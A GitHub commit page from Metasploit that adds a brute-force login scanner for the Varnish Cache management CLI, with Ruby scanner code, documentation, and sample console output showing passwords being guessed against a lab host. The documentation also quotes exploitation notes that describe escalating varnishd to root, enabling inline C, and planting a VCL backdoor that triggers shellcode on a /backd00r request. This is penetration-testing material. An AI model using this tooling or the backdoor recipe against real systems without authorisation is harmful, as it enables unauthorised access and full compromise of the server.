Skip to content

Commit 98ffa4d

Browse files
author
Brent Cook
committed
Land rapid7#7652, add varnish cache CLI authentication scanner module
2 parents 4c0539d + 0c3ef4b commit 98ffa4d

File tree

4 files changed

+346
-0
lines changed

4 files changed

+346
-0
lines changed
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
## Vulnerable Application
2+
3+
Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
4+
Kali installed varnish-5.0.0 revision 99d036f
5+
6+
Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test:
7+
8+
1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all.
9+
2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`.
10+
1. I made an easy test one `echo "secret" > ~/secret`
11+
12+
## Exploitation Notes
13+
14+
These notes were taken from the original module in EDB, and can be used when developing a working remote exploit
15+
16+
```
17+
- varnishd typically runs as root, forked as unpriv.
18+
- 'param.show' lists configurable options.
19+
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
20+
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
21+
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
22+
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
23+
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
24+
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
25+
- code execution notes:
26+
27+
* quotes must be escaped \"
28+
* \n is a newline
29+
* C{ }C denotes raw C code.
30+
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
31+
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
32+
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
33+
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
34+
* example trigger for backdoor:
35+
36+
VCL server:
37+
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
38+
vcl.use foo
39+
start
40+
41+
Attacker:
42+
telnet target 80
43+
GET /backd00r HTTP/1.1
44+
Host: 127.0.0.1
45+
46+
(... wait for child to execute debug trap INT3 / shellcode).
47+
48+
CLI protocol notes from website:
49+
50+
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
51+
52+
Requests are whitespace separated tokens terminated by a newline (NL) character.
53+
54+
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
55+
), (\"), (\%03o) and (\x%02x)
56+
57+
The response consists of a header which can be read as fixed format or ASCII text:
58+
59+
1-3 %03d Response code
60+
4 ' ' Space
61+
5-12 %8d Length of body
62+
13 \n NL character.
63+
Followed by the number of bytes announced by the header.
64+
65+
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
66+
67+
enum cli_status_e {
68+
CLIS_SYNTAX = 100,
69+
CLIS_UNKNOWN = 101,
70+
CLIS_UNIMPL = 102,
71+
CLIS_TOOFEW = 104,
72+
CLIS_TOOMANY = 105,
73+
CLIS_PARAM = 106,
74+
CLIS_OK = 200,
75+
CLIS_CANT = 300,
76+
CLIS_COMMS = 400,
77+
CLIS_CLOSE = 500
78+
};
79+
```
80+
81+
## Verification Steps
82+
83+
Example steps in this format:
84+
85+
1. Install the application
86+
2. Start msfconsole
87+
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login```
88+
4. Do: ```run```
89+
5. Find a valid login.
90+
91+
## Options
92+
93+
**PASS_FILE**
94+
95+
File which contains the password list to use.
96+
97+
## Scenarios
98+
99+
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
100+
101+
```
102+
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
103+
resource (varnish.rc)> set pass_file /root/varnish.list
104+
pass_file => /root/varnish.list
105+
resource (varnish.rc)> set rhosts 192.168.2.85
106+
rhosts => 192.168.2.85
107+
resource (varnish.rc)> set verbose true
108+
verbose => true
109+
resource (varnish.rc)> run
110+
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
111+
[*] Scanned 1 of 1 hosts (100% complete)
112+
[*] Auxiliary module execution completed
113+
msf auxiliary(varnish_cli_login) >
114+
```
115+
116+
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f
117+
118+
```
119+
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
120+
resource (varnish.rc)> set pass_file /root/varnish.list
121+
pass_file => /root/varnish.list
122+
resource (varnish.rc)> set rhosts 192.168.2.85
123+
rhosts => 192.168.2.85
124+
resource (varnish.rc)> set verbose true
125+
verbose => true
126+
resource (varnish.rc)> run
127+
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required
128+
[!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved!
129+
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad
130+
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good
131+
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret
132+
[*] Scanned 1 of 1 hosts (100% complete)
133+
[*] Auxiliary module execution completed
134+
```
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
require 'metasploit/framework/tcp/client'
2+
require 'metasploit/framework/varnish/client'
3+
require 'metasploit/framework/login_scanner/base'
4+
require 'metasploit/framework/login_scanner/rex_socket'
5+
6+
module Metasploit
7+
module Framework
8+
module LoginScanner
9+
10+
# This is the LoginScanner class for dealing with Varnish CLI.
11+
12+
class VarnishCLI
13+
include Metasploit::Framework::LoginScanner::Base
14+
include Metasploit::Framework::LoginScanner::RexSocket
15+
include Metasploit::Framework::Tcp::Client
16+
include Metasploit::Framework::Varnish::Client
17+
18+
DEFAULT_PORT = 6082
19+
LIKELY_PORTS = [ DEFAULT_PORT ]
20+
LIKELY_SERVICE_NAMES = [ 'varnishcli' ]
21+
PRIVATE_TYPES = [ :password ]
22+
REALM_KEY = nil
23+
24+
def attempt_login(credential)
25+
begin
26+
connect
27+
success = login(credential.private)
28+
close_session
29+
disconnect
30+
rescue RuntimeError => e
31+
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
32+
rescue Rex::ConnectionError, EOFError, Timeout::Error
33+
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
34+
end
35+
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
36+
37+
result = Result.new(credential: credential, status: status)
38+
result.host = host
39+
result.port = port
40+
result.protocol = 'tcp'
41+
result.service_name = 'varnishcli'
42+
result
43+
end
44+
45+
def set_sane_defaults
46+
self.connection_timeout ||= 30
47+
self.port ||= DEFAULT_PORT
48+
self.max_send_size ||= 0
49+
self.send_delay ||= 0
50+
end
51+
52+
end
53+
end
54+
end
55+
end
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
# -*- coding: binary -*-
2+
require 'msf/core'
3+
require 'msf/core/exploit/tcp'
4+
5+
module Metasploit
6+
module Framework
7+
module Varnish
8+
module Client
9+
10+
@@AUTH_REQUIRED_REGEX = /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required\./ # 107 auth
11+
@@AUTH_SUCCESS_REGEX = /200 \d+/ # 200 ok
12+
13+
def require_auth?
14+
# function returns false if no auth is required, else the challenge string
15+
res = sock.get_once # varnish can give the challenge on connect, so check if we have it already
16+
if res && res =~ @@AUTH_REQUIRED_REGEX
17+
return $1
18+
end
19+
# Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging
20+
sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n")
21+
res = sock.get_once # grab challenge
22+
if res && res =~ @@AUTH_REQUIRED_REGEX
23+
return $1
24+
end
25+
return false
26+
end
27+
28+
def login(pass)
29+
# based on https://www.varnish-cache.org/trac/wiki/CLI
30+
begin
31+
challenge = require_auth?
32+
if !!challenge
33+
response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n")
34+
sock.put("auth #{response}\n")
35+
res = sock.get_once
36+
if res && res =~ @@AUTH_SUCCESS_REGEX
37+
return true
38+
else
39+
return false
40+
end
41+
else
42+
raise RuntimeError, "No Auth Required"
43+
end
44+
rescue Timeout::Error
45+
raise RuntimeError, "Varnish Login timeout"
46+
end
47+
end
48+
49+
def close_session
50+
sock.put('quit')
51+
end
52+
53+
end
54+
end
55+
end
56+
end
57+
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/credential_collection'
8+
require 'metasploit/framework/login_scanner/varnish'
9+
require 'metasploit/framework/tcp/client'
10+
11+
class MetasploitModule < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
include Metasploit::Framework::Varnish::Client
17+
18+
def initialize
19+
super(
20+
'Name' => 'Varnish Cache CLI Login Utility',
21+
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
22+
list of passwords.',
23+
'References' =>
24+
[
25+
[ 'OSVDB', '67670' ],
26+
[ 'CVE', '2009-2936' ],
27+
[ 'EDB', '35581' ],
28+
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
29+
],
30+
'Author' =>
31+
[
32+
'patrick', #original module
33+
'h00die <[email protected]>' #updates and standardizations
34+
],
35+
'License' => MSF_LICENSE
36+
)
37+
38+
register_options(
39+
[
40+
Opt::RPORT(6082),
41+
OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line',
42+
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
43+
], self.class)
44+
45+
# We don't currently support an auth mechanism that uses usernames, so we'll ignore any
46+
# usernames that are passed in.
47+
@strip_usernames = true
48+
end
49+
50+
def run_host(ip)
51+
# first check if we even need auth
52+
begin
53+
connect
54+
if !require_auth?
55+
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
56+
close_session
57+
disconnect
58+
return
59+
else
60+
vprint_status "#{ip}:#{rport} - Authentication Required"
61+
end
62+
close_session
63+
disconnect
64+
rescue Rex::ConnectionError, EOFError, Timeout::Error
65+
print_error "#{ip}:#{rport} - Unable to connect"
66+
end
67+
68+
cred_collection = Metasploit::Framework::CredentialCollection.new(
69+
pass_file: datastore['PASS_FILE'],
70+
username: '<BLANK>'
71+
)
72+
scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
73+
host: ip,
74+
port: rport,
75+
cred_details: cred_collection,
76+
stop_on_success: true,
77+
connection_timeout: 10,
78+
framework: framework,
79+
framework_module: self,
80+
81+
)
82+
scanner.scan! do |result|
83+
credential_data = result.to_h
84+
credential_data.merge!(
85+
module_fullname: fullname,
86+
workspace_id: myworkspace_id
87+
)
88+
if result.success?
89+
credential_core = create_credential(credential_data)
90+
credential_data[:core] = credential_core
91+
create_credential_login(credential_data)
92+
93+
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
94+
else
95+
invalidate_login(credential_data)
96+
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
97+
end
98+
end
99+
end
100+
end

0 commit comments

Comments
 (0)